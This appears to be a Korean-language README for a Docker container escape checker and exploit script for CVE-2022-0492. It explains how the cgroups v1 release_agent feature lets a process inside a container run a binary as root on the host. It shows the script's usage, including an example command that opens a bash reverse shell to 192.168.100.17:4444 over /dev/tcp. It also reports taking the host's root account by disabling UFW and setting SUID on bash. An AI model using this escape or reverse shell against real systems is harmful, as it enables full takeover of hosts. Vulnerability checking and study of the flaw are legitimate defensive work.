
Docker 탈출 검사기 및 CAP_SYS_ADMIN과 사용자 네임스페이스를 통한 PoC (CVE-2022-0492)
이 취약점을 악용하려면 공격자가 취약한 시스템에서 실행 중인 Docker 컨테이너에 접근할 수 있어야 합니다. 악용에 성공하면 공격자는 컨테이너를 탈출하여 호스트 시스템에 대한 완전한 제어 권한을 얻을 수 있습니다.
Linux 커널의 kernel/cgroup/cgroup-v1.c 함수인 cgroup_release_agent_write에서 취약점이 발견되었습니다. 이 결함은 특정 상황에서 cgroups v1의 release_agent 기능을 이용하여 예기치 않게 권한을 상승시키고 네임스페이스 격리를 우회할 수 있게 합니다.
더 간단히 말하면, cgroups v1에는 cgroup 내 프로세스가 종료될 때 프로그램을 실행하는 release_agent라는 기능이 있습니다. notify_on_release가 활성화되면 커널은 release_agent 바이너리를 루트 권한으로 실행합니다. release_agent 파일을 편집함으로써 공격자는 자신의 바이너리를 상승된 권한으로 실행시켜 시스템을 제어할 수 있습니다. 그러나 release_agent 파일은 루트 소유이므로 루트 접근 권한이 있는 사용자만 수정할 수 있습니다.
# sh CVE-2022-0492.sh
[>] CVE-2022-0492 Docker Container Escape V
[>] Execute this script in a Docker to check for vulnerability or to exploit it. (º___\/{
[>] Usage:
sh CVE-2022-0492.sh --checker Verify if system is vulnerable.
sh CVE-2022-0492.sh -c|--command <COMMAND> Execute command on host machine.
sh CVE-2022-0492.sh -h|--help Print the help panel.
[>] Example:
sh CVE-2022-0492.sh --command 'bash -c "bash -i >& /dev/tcp/192.168.100.17/4444 0>&1"'
UFW를 비활성화하고 리버스 셸을 전송하여 호스트 머신의 루트 사용자를 탈취했습니다.

SUID를 bash에 설정하고 리버스 셸을 전송하여 호스트 머신의 루트 사용자를 탈취했습니다.
